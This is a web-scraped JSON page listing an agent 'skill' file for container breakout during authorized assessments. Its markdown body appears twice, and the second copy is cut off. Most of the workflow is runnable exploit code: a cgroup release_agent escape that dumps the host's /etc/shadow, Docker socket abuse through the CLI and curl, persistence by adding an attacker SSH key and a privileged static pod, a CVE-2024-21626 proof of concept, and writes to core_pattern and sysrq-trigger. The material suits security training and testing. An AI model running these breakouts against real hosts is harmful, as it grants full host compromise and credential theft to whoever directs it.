[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEKMCCM5SQHT60DASW5GA5":3,"skill-same:01M6AEKMCCM5SQHT60DASW5GA5":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":61,"commitSha":62,"skillDirectory":63,"forksCount":64,"repositoryHtmlUrl":65,"repositoryHomepageUrl":66,"ownerHtmlUrl":67,"ownerBlogUrl":68,"ownerDescription":69,"updatedAt":70,"install":71,"resources":84},"01M6AEKMCCM5SQHT60DASW5GA5","escaping-containers-to-host",null,"Exploits privileged pods, host mounts, runC CVEs, and exposed Docker sockets to break out of a container and reach the underlying host during an authorized container-security assessment. Use when executing an approved breakout test, demonstrating the real impact of a privileged or hostPath workload, or validating that escape mitigations actually hold. Keywords: container breakout, privileged, hostPath, docker.sock, runC CVE-2019-5736, CVE-2024-21626, release_agent, nsenter. Do not use for defensive detection of these techniques - use detecting-container-escape-attempts.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35925,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fescaping-containers-to-host\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"escaping containers to host","containers","cve","breakout","host-mount","docker-socket","container-escape","detection","escalation","container-security","privilege-escalation","release","assessment","pr","workload","test","cybersecurity","security","kubernetes","docker","2026-11-10 10:12:30",false,"---\nname: escaping-containers-to-host\ndescription: >-\n  Exploits privileged pods, host mounts, runC CVEs, and exposed Docker sockets to break out of\n  a container and reach the underlying host during an authorized container-security\n  assessment. Use when executing an approved breakout test, demonstrating the real impact of a\n  privileged or hostPath workload, or validating that escape mitigations actually hold.\n  Keywords: container breakout, privileged, hostPath, docker.sock, runC CVE-2019-5736,\n  CVE-2024-21626, release_agent, nsenter. Do not use for defensive detection of these\n  techniques - use detecting-container-escape-attempts.\ndomain: cybersecurity\nsubdomain: container-security\ntags:\n- container-escape\n- privileged-container\n- runc-cve\n- docker-socket\n- host-mount\n- kubernetes\n- privilege-escalation\n- breakout\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\nmitre_attack:\n- T1611\n---\n# Escaping Containers to Host\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Container breakout grants full host compromise. Only run these techniques against systems you own or have explicit written authorization to test. Unauthorized use is illegal and may violate computer fraud laws.\n\n## Overview\n\nContainer escape (MITRE ATT&CK T1611, Escape to Host) is the act of breaking the isolation boundary between a container and the host operating system, giving an attacker code execution in the host namespace — and, on Kubernetes, frequently a route to the entire node and then the cluster. Containers share the host kernel and rely on namespaces, cgroups, capabilities, seccomp, and LSMs (AppArmor\u002FSELinux) for isolation. When any of these controls are weakened (a `--privileged` container, a mounted Docker socket, a `hostPath` mount of `\u002F`, excess Linux capabilities such as `CAP_SYS_ADMIN`) or when a runtime contains a vulnerability, that boundary collapses.\n\nThis skill covers the four highest-impact, real-world escape primitives observed by Sysdig, Unit 42, and the runC maintainers:\n\n1. **Misconfiguration escapes** — privileged containers, `CAP_SYS_ADMIN`, host PID\u002FIPC\u002FNetwork namespaces, and `hostPath` mounts.\n2. **Exposed Docker socket** (`\u002Fvar\u002Frun\u002Fdocker.sock`) — mounting the daemon socket into a container hands an attacker root on the host via a new privileged container.\n3. **The \"Leaky Vessels\" runC fd leak, CVE-2024-21626** — runC leaks an internal file descriptor (`\u002Fproc\u002Fself\u002Ffd\u002F7`\u002F`8`) referencing the host filesystem before `pivot_root`; setting the container working directory to that fd lands the process on the host. Patched in runC 1.1.12 (containerd 1.6.28\u002F1.7.13, Docker 25.0.2).\n4. **The November 2025 runC procfs write-redirect family — CVE-2025-31133, CVE-2025-52565, CVE-2025-52881** — race\u002Fsymlink abuse of the `\u002Fdev\u002Fnull`, `\u002Fdev\u002Fconsole`, and other bind mounts performed *before* runC applies `maskedPaths`\u002F`readonlyPaths`, allowing read-write access to `\u002Fproc` entries (e.g. `\u002Fproc\u002Fsysrq-trigger`, `core_pattern`) and arbitrary write redirection. Patched in runC 1.2.8, 1.3.3, and 1.4.0-rc.3.\n\nSources: Palo Alto Networks \"Leaky Vessels\" advisory; Sysdig \"New runc vulnerabilities allow container escape\" (2025); opencontainers\u002Frunc security advisories GHSA-cgrx-mc8f-2prm and GHSA-9493-h29p-rfm2; Unit 42 container-escape research.\n\n## When to Use\n\n- During an authorized container or Kubernetes penetration test after obtaining initial code execution inside a container or pod\n- When validating that runtime defenses (Falco, seccomp, AppArmor) detect or block breakout attempts\n- When assessing the blast radius of a compromised microservice\n- When verifying patch levels of runC\u002Fcontainerd\u002FDocker against the CVEs above\n\n## Prerequisites\n\n- Authorization (signed rules of engagement) covering host\u002Fnode compromise\n- A foothold: a shell inside a target container\n- Reconnaissance utilities inside the container or staged in:\n  ```bash\n  # deepce - Docker enumeration and escape\n  git clone https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce.git\n  # amicontained - container introspection (capabilities, seccomp, namespaces)\n  curl -L https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained\u002Freleases\u002Fdownload\u002Fv0.4.9\u002Famicontained-linux-amd64 -o amicontained\n  chmod +x amicontained\n  # CDK - zero-dependency K8s\u002Fcontainer pentest toolkit\n  curl -L https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK\u002Freleases\u002Flatest\u002Fdownload\u002Fcdk_linux_amd64 -o cdk\n  chmod +x cdk\n  ```\n- A lab cluster\u002Fhost you are permitted to break out of (e.g., kind, minikube, or a dedicated VM)\n\n## Objectives\n\n- Enumerate the container's privilege posture (capabilities, namespaces, mounts, seccomp)\n- Identify which escape primitive is available\n- Execute a host breakout and prove host-level code execution\n- Capture evidence (host hostname, host `\u002Fetc\u002Fshadow` access, or a host file write)\n- Document the root-cause misconfiguration or vulnerable runtime version for remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1611 | Escape to Host | Privilege Escalation |\n| T1610 | Deploy Container | Defense Evasion \u002F Execution |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Enumerate the Container Environment\n\nDetermine privilege level, capabilities, namespaces, and mounted host paths.\n\n```bash\n# Quick capability + namespace + seccomp introspection\n.\u002Famicontained\n\n# Are we privileged? CapEff ending in ...ffffffff is \"all caps\"\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\ncapsh --decode=$(grep CapEff \u002Fproc\u002Fself\u002Fstatus | awk '{print $2}')\n\n# Host filesystem or docker socket mounted in?\nmount | grep -E 'docker.sock|hostPath|\u002Fhost'\nls -la \u002Fvar\u002Frun\u002Fdocker.sock 2>\u002Fdev\u002Fnull\nfindmnt -o TARGET,SOURCE,FSTYPE,OPTIONS\n\n# Sharing host namespaces? (host PID = can see host processes)\nps aux | head        # if you see systemd\u002Fhost pids, hostPID:true\nls -la \u002Fproc\u002F1\u002Froot  # if readable as host root, namespace is shared\n\n# Automated enumeration\n.\u002Fdeepce.sh\n.\u002Fcdk evaluate\n```\n\n### Step 2: Escape via a Privileged Container (cgroup release_agent)\n\nA `--privileged` container (or one with `CAP_SYS_ADMIN`) can mount a cgroup hierarchy and abuse the `release_agent` to run a command on the host when the last process in a cgroup exits.\n\n```bash\n# Confirm we can mount (CAP_SYS_ADMIN present)\n# Create a cgroup mount and enable release_agent notification\nmkdir \u002Ftmp\u002Fcgrp && mount -t cgroup -o rdma cgroup \u002Ftmp\u002Fcgrp 2>\u002Fdev\u002Fnull || \\\n  mount -t cgroup -o memory cgroup \u002Ftmp\u002Fcgrp\nmkdir \u002Ftmp\u002Fcgrp\u002Fx\necho 1 > \u002Ftmp\u002Fcgrp\u002Fx\u002Fnotify_on_release\n\n# Find the container rootfs path on the host\nhost_path=$(sed -n 's\u002F.*\\perdir=\\([^,]*\\).*\u002F\\1\u002Fp' \u002Fetc\u002Fmtab | head -1)\necho \"$host_path\u002Fcmd\" > \u002Ftmp\u002Fcgrp\u002Frelease_agent\n\n# Payload that runs on the HOST\ncat > \u002Fcmd \u003C\u003C'EOF'\n#!\u002Fbin\u002Fsh\nps aux > \u002Foutput\nhostname >> \u002Foutput\ncat \u002Fetc\u002Fshadow >> \u002Foutput\nEOF\nchmod +x \u002Fcmd\n\n# Trigger: spawn and immediately exit a process in the cgroup\nsh -c \"echo \\$\\$ > \u002Ftmp\u002Fcgrp\u002Fx\u002Fcgroup.procs\"\ncat \u002Foutput   # host process list \u002F shadow proves escape\n```\n\n### Step 3: Escape via a Mounted Docker Socket\n\nIf `\u002Fvar\u002Frun\u002Fdocker.sock` is bind-mounted into the container, you control the host Docker daemon and can launch a new container that mounts the host root.\n\n```bash\n# Confirm reachability\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock version 2>\u002Fdev\u002Fnull || \\\n  curl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fversion\n\n# Launch a privileged container mounting host \u002F and chroot into it\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -it --rm \\\n  --privileged --net=host --pid=host \\\n  -v \u002F:\u002Fhost alpine chroot \u002Fhost sh\n\n# Pure-curl variant (no docker CLI in container):\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow\"],\n       \"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}' \\\n  http:\u002F\u002Flocalhost\u002Fcontainers\u002Fcreate?name=esc\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fcontainers\u002Fesc\u002Fstart\n```\n\n### Step 4: Escape via a hostPath Mount (Kubernetes)\n\nA pod with a `hostPath` volume of `\u002F` (or a sensitive host dir) lets you read\u002Fwrite host files directly — e.g., drop a root SSH key or a privileged static pod manifest.\n\n```bash\n# If \u002Fhost is the hostPath mount of node root:\nls \u002Fhost\n# Persist: add an attacker key for node root login\nmkdir -p \u002Fhost\u002Froot\u002F.ssh\necho \"ssh-ed25519 AAAA... attacker@kali\" >> \u002Fhost\u002Froot\u002F.ssh\u002Fauthorized_keys\n\n# Or write a privileged static pod manifest that kubelet will auto-run as root\ncat > \u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests\u002Fpwn.yaml \u003C\u003C'EOF'\napiVersion: v1\nkind: Pod\nmetadata: {name: pwn, namespace: kube-system}\nspec:\n  hostPID: true\n  containers:\n  - name: pwn\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\n```\n\n### Step 5: Exploit runC CVE-2024-21626 (Leaky Vessels fd leak)\n\nIf the runtime is runC \u003C= 1.1.11, the leaked host-cwd fd can be used. With `docker build`\u002F`docker run` control, set the working directory to `\u002Fproc\u002Fself\u002Ffd\u002F\u003CN>` (commonly 7 or 8).\n\n```bash\n# Detect vulnerable runtime version (host or via runc binary in image)\nrunc --version          # vulnerable: 1.0.0-rc93 .. 1.1.11\ndocker info --format '{{.DefaultRuntime}}'\n\n# Proof-of-concept via a malicious image WORKDIR (run-time variant)\ncat > Dockerfile \u003C\u003C'EOF'\nFROM alpine\n# fd 7\u002F8 leaked by runc references the HOST cwd before pivot_root\nWORKDIR \u002Fproc\u002Fself\u002Ffd\u002F8\nRUN [\"\u002Fbin\u002Fsh\",\"-c\",\"cd ..\u002F..\u002F..\u002F..\u002F ; cat etc\u002Fshadow ; cat etc\u002Fhostname\"]\nEOF\ndocker build --no-cache -t leaky .\n\n# Run-time variant: the container lands in a host directory\ndocker run --rm --workdir \u002Fproc\u002Fself\u002Ffd\u002F8 alpine \\\n  sh -c 'cd ..\u002F..\u002F..\u002F.. && cat etc\u002Fshadow'\n# Reference PoC: github.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape\n```\n\n### Step 6: Exploit the 2025 runC procfs Write-Redirect Family\n\nFor runC \u003C= 1.2.7 \u002F 1.3.2 \u002F 1.4.0-rc.2, CVE-2025-31133\u002F52565\u002F52881 abuse a race between the `\u002Fdev\u002Fnull`\u002F`\u002Fdev\u002Fconsole` bind mount and the application of `maskedPaths`, replacing the mount target with a symlink so a host `\u002Fproc` entry becomes writable. Writing `core_pattern` or `\u002Fproc\u002Fsysrq-trigger` yields host code execution.\n\n```bash\n# Confirm vulnerable runtime\nrunc --version   # vulnerable: \u003C= 1.2.7, 1.3.2, 1.4.0-rc.2\n\n# Conceptual exploitation flow (use maintainers' PoC in a lab):\n#  1. Start a container that, during init, swaps the \u002Fdev\u002Fconsole (or a\n#     custom device) bind-mount target for a symlink to \u002Fproc\u002Fsysrq-trigger.\n#  2. Win the race so runc bind-mounts it read-write before maskedPaths apply.\n#  3. Redirect a write to host procfs:\necho c > \u002Fproc\u002Fsysrq-trigger     # would crash host (DoS) - demonstrates RW\n#  4. For code exec, redirect the write to \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern:\necho '|\u002Fbin\u002Fsh -c \"id>\u002Fhost_pwn\"' > \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern\n#     then trigger a core dump in any host-visible process.\n# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2\n```\n\n### Step 7: Validate the Patched State and Document Remediation\n\n```bash\n# Verify runtimes are patched\nrunc --version              # want >= 1.2.8 \u002F 1.3.3 \u002F 1.4.0-rc.3 (and != vuln 1.1.x)\ndocker version --format '{{.Server.Version}}'   # >= 25.0.2 for CVE-2024-21626\ncontainerd --version        # >= 1.6.28 \u002F 1.7.13\n\n# Confirm hardening for misconfig escapes\ndocker inspect \u003Cctr> --format '{{.HostConfig.Privileged}}'   # want false\nkubectl get pod \u003Cpod> -o jsonpath='{.spec.containers[*].securityContext}'\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| amicontained | Capability\u002Fnamespace\u002Fseccomp introspection | https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained |\n| deepce | Docker enumeration & escape automation | https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce |\n| CDK | Container\u002FK8s penetration toolkit | https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK |\n| runc PoC (CVE-2024-21626) | Leaky Vessels reference exploit | https:\u002F\u002Fgithub.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape |\n| Sysdig runc 2025 advisory | CVE-2025-31133\u002F52565\u002F52881 analysis | https:\u002F\u002Fwww.sysdig.com\u002Fblog\u002Frunc-container-escape-vulnerabilities |\n| Palo Alto Leaky Vessels | CVE-2024-21626 deep dive | https:\u002F\u002Fwww.paloaltonetworks.com\u002Fblog\u002Fcloud-security\u002Fleaky-vessels-vulnerabilities-container-escape\u002F |\n\n## Escape Primitive Reference\n\n| Primitive | Root Cause | Detection Signal |\n|-----------|-----------|------------------|\n| Privileged container | `--privileged` \u002F `CAP_SYS_ADMIN` | `mount` of cgroup, write to `release_agent` |\n| Docker socket mount | `\u002Fvar\u002Frun\u002Fdocker.sock` bind-mounted | Daemon API call from a container |\n| hostPath `\u002F` mount | Pod mounts node root | Write to `\u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests` |\n| CVE-2024-21626 | runC fd leak before pivot_root | WORKDIR\u002Fcwd `=\u002Fproc\u002Fself\u002Ffd\u002FN` |\n| CVE-2025-31133\u002F52565\u002F52881 | procfs write redirect via mount race | RW mount of `\u002Fdev\u002Fconsole`, write to `\u002Fproc\u002Fsysrq-trigger` |\n\n## Validation Criteria\n\n- [ ] Container privilege posture enumerated (caps, namespaces, mounts, seccomp)\n- [ ] Available escape primitive correctly identified\n- [ ] Host-level code execution demonstrated (host hostname \u002F `\u002Fetc\u002Fshadow` \u002F host file write captured)\n- [ ] Root-cause misconfiguration or vulnerable runtime version recorded\n- [ ] runC\u002Fcontainerd\u002FDocker versions checked against CVE patch baselines\n- [ ] Remediation guidance (drop privileges, remove socket mount, patch runtime) documented\n- [ ] All actions stayed within the authorized scope\n","# Escaping Containers to Host\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Container breakout grants full host compromise. Only run these techniques against systems you own or have explicit written authorization to test. Unauthorized use is illegal and may violate computer fraud laws.\n\n## Overview\n\nContainer escape (MITRE ATT&CK T1611, Escape to Host) is the act of breaking the isolation boundary between a container and the host operating system, giving an attacker code execution in the host namespace — and, on Kubernetes, frequently a route to the entire node and then the cluster. Containers share the host kernel and rely on namespaces, cgroups, capabilities, seccomp, and LSMs (AppArmor\u002FSELinux) for isolation. When any of these controls are weakened (a `--privileged` container, a mounted Docker socket, a `hostPath` mount of `\u002F`, excess Linux capabilities such as `CAP_SYS_ADMIN`) or when a runtime contains a vulnerability, that boundary collapses.\n\nThis skill covers the four highest-impact, real-world escape primitives observed by Sysdig, Unit 42, and the runC maintainers:\n\n1. **Misconfiguration escapes** — privileged containers, `CAP_SYS_ADMIN`, host PID\u002FIPC\u002FNetwork namespaces, and `hostPath` mounts.\n2. **Exposed Docker socket** (`\u002Fvar\u002Frun\u002Fdocker.sock`) — mounting the daemon socket into a container hands an attacker root on the host via a new privileged container.\n3. **The \"Leaky Vessels\" runC fd leak, CVE-2024-21626** — runC leaks an internal file descriptor (`\u002Fproc\u002Fself\u002Ffd\u002F7`\u002F`8`) referencing the host filesystem before `pivot_root`; setting the container working directory to that fd lands the process on the host. Patched in runC 1.1.12 (containerd 1.6.28\u002F1.7.13, Docker 25.0.2).\n4. **The November 2025 runC procfs write-redirect family — CVE-2025-31133, CVE-2025-52565, CVE-2025-52881** — race\u002Fsymlink abuse of the `\u002Fdev\u002Fnull`, `\u002Fdev\u002Fconsole`, and other bind mounts performed *before* runC applies `maskedPaths`\u002F`readonlyPaths`, allowing read-write access to `\u002Fproc` entries (e.g. `\u002Fproc\u002Fsysrq-trigger`, `core_pattern`) and arbitrary write redirection. Patched in runC 1.2.8, 1.3.3, and 1.4.0-rc.3.\n\nSources: Palo Alto Networks \"Leaky Vessels\" advisory; Sysdig \"New runc vulnerabilities allow container escape\" (2025); opencontainers\u002Frunc security advisories GHSA-cgrx-mc8f-2prm and GHSA-9493-h29p-rfm2; Unit 42 container-escape research.\n\n## When to Use\n\n- During an authorized container or Kubernetes penetration test after obtaining initial code execution inside a container or pod\n- When validating that runtime defenses (Falco, seccomp, AppArmor) detect or block breakout attempts\n- When assessing the blast radius of a compromised microservice\n- When verifying patch levels of runC\u002Fcontainerd\u002FDocker against the CVEs above\n\n## Prerequisites\n\n- Authorization (signed rules of engagement) covering host\u002Fnode compromise\n- A foothold: a shell inside a target container\n- Reconnaissance utilities inside the container or staged in:\n  ```bash\n  # deepce - Docker enumeration and escape\n  git clone https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce.git\n  # amicontained - container introspection (capabilities, seccomp, namespaces)\n  curl -L https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained\u002Freleases\u002Fdownload\u002Fv0.4.9\u002Famicontained-linux-amd64 -o amicontained\n  chmod +x amicontained\n  # CDK - zero-dependency K8s\u002Fcontainer pentest toolkit\n  curl -L https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK\u002Freleases\u002Flatest\u002Fdownload\u002Fcdk_linux_amd64 -o cdk\n  chmod +x cdk\n  ```\n- A lab cluster\u002Fhost you are permitted to break out of (e.g., kind, minikube, or a dedicated VM)\n\n## Objectives\n\n- Enumerate the container's privilege posture (capabilities, namespaces, mounts, seccomp)\n- Identify which escape primitive is available\n- Execute a host breakout and prove host-level code execution\n- Capture evidence (host hostname, host `\u002Fetc\u002Fshadow` access, or a host file write)\n- Document the root-cause misconfiguration or vulnerable runtime version for remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1611 | Escape to Host | Privilege Escalation |\n| T1610 | Deploy Container | Defense Evasion \u002F Execution |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Enumerate the Container Environment\n\nDetermine privilege level, capabilities, namespaces, and mounted host paths.\n\n```bash\n# Quick capability + namespace + seccomp introspection\n.\u002Famicontained\n\n# Are we privileged? CapEff ending in ...ffffffff is \"all caps\"\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\ncapsh --decode=$(grep CapEff \u002Fproc\u002Fself\u002Fstatus | awk '{print $2}')\n\n# Host filesystem or docker socket mounted in?\nmount | grep -E 'docker.sock|hostPath|\u002Fhost'\nls -la \u002Fvar\u002Frun\u002Fdocker.sock 2>\u002Fdev\u002Fnull\nfindmnt -o TARGET,SOURCE,FSTYPE,OPTIONS\n\n# Sharing host namespaces? (host PID = can see host processes)\nps aux | head        # if you see systemd\u002Fhost pids, hostPID:true\nls -la \u002Fproc\u002F1\u002Froot  # if readable as host root, namespace is shared\n\n# Automated enumeration\n.\u002Fdeepce.sh\n.\u002Fcdk evaluate\n```\n\n### Step 2: Escape via a Privileged Container (cgroup release_agent)\n\nA `--privileged` container (or one with `CAP_SYS_ADMIN`) can mount a cgroup hierarchy and abuse the `release_agent` to run a command on the host when the last process in a cgroup exits.\n\n```bash\n# Confirm we can mount (CAP_SYS_ADMIN present)\n# Create a cgroup mount and enable release_agent notification\nmkdir \u002Ftmp\u002Fcgrp && mount -t cgroup -o rdma cgroup \u002Ftmp\u002Fcgrp 2>\u002Fdev\u002Fnull || \\\n  mount -t cgroup -o memory cgroup \u002Ftmp\u002Fcgrp\nmkdir \u002Ftmp\u002Fcgrp\u002Fx\necho 1 > \u002Ftmp\u002Fcgrp\u002Fx\u002Fnotify_on_release\n\n# Find the container rootfs path on the host\nhost_path=$(sed -n 's\u002F.*\\perdir=\\([^,]*\\).*\u002F\\1\u002Fp' \u002Fetc\u002Fmtab | head -1)\necho \"$host_path\u002Fcmd\" > \u002Ftmp\u002Fcgrp\u002Frelease_agent\n\n# Payload that runs on the HOST\ncat > \u002Fcmd \u003C\u003C'EOF'\n#!\u002Fbin\u002Fsh\nps aux > \u002Foutput\nhostname >> \u002Foutput\ncat \u002Fetc\u002Fshadow >> \u002Foutput\nEOF\nchmod +x \u002Fcmd\n\n# Trigger: spawn and immediately exit a process in the cgroup\nsh -c \"echo \\$\\$ > \u002Ftmp\u002Fcgrp\u002Fx\u002Fcgroup.procs\"\ncat \u002Foutput   # host process list \u002F shadow proves escape\n```\n\n### Step 3: Escape via a Mounted Docker Socket\n\nIf `\u002Fvar\u002Frun\u002Fdocker.sock` is bind-mounted into the container, you control the host Docker daemon and can launch a new container that mounts the host root.\n\n```bash\n# Confirm reachability\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock version 2>\u002Fdev\u002Fnull || \\\n  curl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fversion\n\n# Launch a privileged container mounting host \u002F and chroot into it\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -it --rm \\\n  --privileged --net=host --pid=host \\\n  -v \u002F:\u002Fhost alpine chroot \u002Fhost sh\n\n# Pure-curl variant (no docker CLI in container):\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow\"],\n       \"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}' \\\n  http:\u002F\u002Flocalhost\u002Fcontainers\u002Fcreate?name=esc\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fcontainers\u002Fesc\u002Fstart\n```\n\n### Step 4: Escape via a hostPath Mount (Kubernetes)\n\nA pod with a `hostPath` volume of `\u002F` (or a sensitive host dir) lets you read\u002Fwrite host files directly — e.g., drop a root SSH key or a privileged static pod manifest.\n\n```bash\n# If \u002Fhost is the hostPath mount of node root:\nls \u002Fhost\n# Persist: add an attacker key for node root login\nmkdir -p \u002Fhost\u002Froot\u002F.ssh\necho \"ssh-ed25519 AAAA... attacker@kali\" >> \u002Fhost\u002Froot\u002F.ssh\u002Fauthorized_keys\n\n# Or write a privileged static pod manifest that kubelet will auto-run as root\ncat > \u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests\u002Fpwn.yaml \u003C\u003C'EOF'\napiVersion: v1\nkind: Pod\nmetadata: {name: pwn, namespace: kube-system}\nspec:\n  hostPID: true\n  containers:\n  - name: pwn\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\n```\n\n### Step 5: Exploit runC CVE-2024-21626 (Leaky Vessels fd leak)\n\nIf the runtime is runC \u003C= 1.1.11, the leaked host-cwd fd can be used. With `docker build`\u002F`docker run` control, set the working directory to `\u002Fproc\u002Fself\u002Ffd\u002F\u003CN>` (commonly 7 or 8).\n\n```bash\n# Detect vulnerable runtime version (host or via runc binary in image)\nrunc --version          # vulnerable: 1.0.0-rc93 .. 1.1.11\ndocker info --format '{{.DefaultRuntime}}'\n\n# Proof-of-concept via a malicious image WORKDIR (run-time variant)\ncat > Dockerfile \u003C\u003C'EOF'\nFROM alpine\n# fd 7\u002F8 leaked by runc references the HOST cwd before pivot_root\nWORKDIR \u002Fproc\u002Fself\u002Ffd\u002F8\nRUN [\"\u002Fbin\u002Fsh\",\"-c\",\"cd ..\u002F..\u002F..\u002F..\u002F ; cat etc\u002Fshadow ; cat etc\u002Fhostname\"]\nEOF\ndocker build --no-cache -t leaky .\n\n# Run-time variant: the container lands in a host directory\ndocker run --rm --workdir \u002Fproc\u002Fself\u002Ffd\u002F8 alpine \\\n  sh -c 'cd ..\u002F..\u002F..\u002F.. && cat etc\u002Fshadow'\n# Reference PoC: github.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape\n```\n\n### Step 6: Exploit the 2025 runC procfs Write-Redirect Family\n\nFor runC \u003C= 1.2.7 \u002F 1.3.2 \u002F 1.4.0-rc.2, CVE-2025-31133\u002F52565\u002F52881 abuse a race between the `\u002Fdev\u002Fnull`\u002F`\u002Fdev\u002Fconsole` bind mount and the application of `maskedPaths`, replacing the mount target with a symlink so a host `\u002Fproc` entry becomes writable. Writing `core_pattern` or `\u002Fproc\u002Fsysrq-trigger` yields host code execution.\n\n```bash\n# Confirm vulnerable runtime\nrunc --version   # vulnerable: \u003C= 1.2.7, 1.3.2, 1.4.0-rc.2\n\n# Conceptual exploitation flow (use maintainers' PoC in a lab):\n#  1. Start a container that, during init, swaps the \u002Fdev\u002Fconsole (or a\n#     custom device) bind-mount target for a symlink to \u002Fproc\u002Fsysrq-trigger.\n#  2. Win the race so runc bind-mounts it read-write before maskedPaths apply.\n#  3. Redirect a write to host procfs:\necho c > \u002Fproc\u002Fsysrq-trigger     # would crash host (DoS) - demonstrates RW\n#  4. For code exec, redirect the write to \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern:\necho '|\u002Fbin\u002Fsh -c \"id>\u002Fhost_pwn\"' > \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern\n#     then trigger a core dump in any host-visible process.\n# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2\n```\n\n### Step 7: Validate the Patched State and Document Remediation\n\n```bash\n# Verify runtimes are patched\nrunc --version              # want >= 1.2.8 \u002F 1.3.3 \u002F 1.4.0-rc.3 (and != vuln 1.1.x)\ndocker version --format '{{.Server.Version}}'   # >= 25.0.2 for CVE-2024-21626\ncontainerd --version        # >= 1.6.28 \u002F 1.7.13\n\n# Confirm hardening for misconfig escapes\ndocker inspect \u003Cctr> --format '{{.HostConfig.Privileged}}'   # want false\nkubectl get pod \u003Cpod> -o jsonpath='{.spec.containers[*].securityContext}'\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| amicontained | Capability\u002Fnamespace\u002Fseccomp introspection | https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained |\n| deepce | Docker enumeration & escape automation | 